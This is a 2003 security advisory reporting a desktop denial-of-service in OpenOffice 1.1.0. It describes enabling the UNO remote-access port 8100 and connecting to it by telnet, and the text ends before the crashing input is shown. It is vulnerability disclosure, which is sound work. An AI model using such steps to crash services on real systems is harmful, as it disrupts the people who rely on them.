================================
Illegalaccess.org Security Alert
================================

 Date        : 08/10/2003
 Application : Openoffice
 Version     : 1.1.0
 Website     : http://www.Openoffice.org
 Problems    : Desktop Denial-Of-Service
 Severity    : Low
 Contributor : Marc Schoenefeld, [EMAIL PROTECTED]

When enabling remote access (UNO) to OpenOffice,
it opens a port (default 8100). This is done typically with
the following command:

C:\Programme\oo1.1.0\program> soffice
"-accept=socket,host=<ip>,port=8100;urp;"

where <ip> states the listening address

When issuing the commands listed below, Openoffice crashes and
prompts the error reporting box.

===================================================================
C:\Dokumente und Einstellungen\User>telnet 127.0.0.1 8100
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
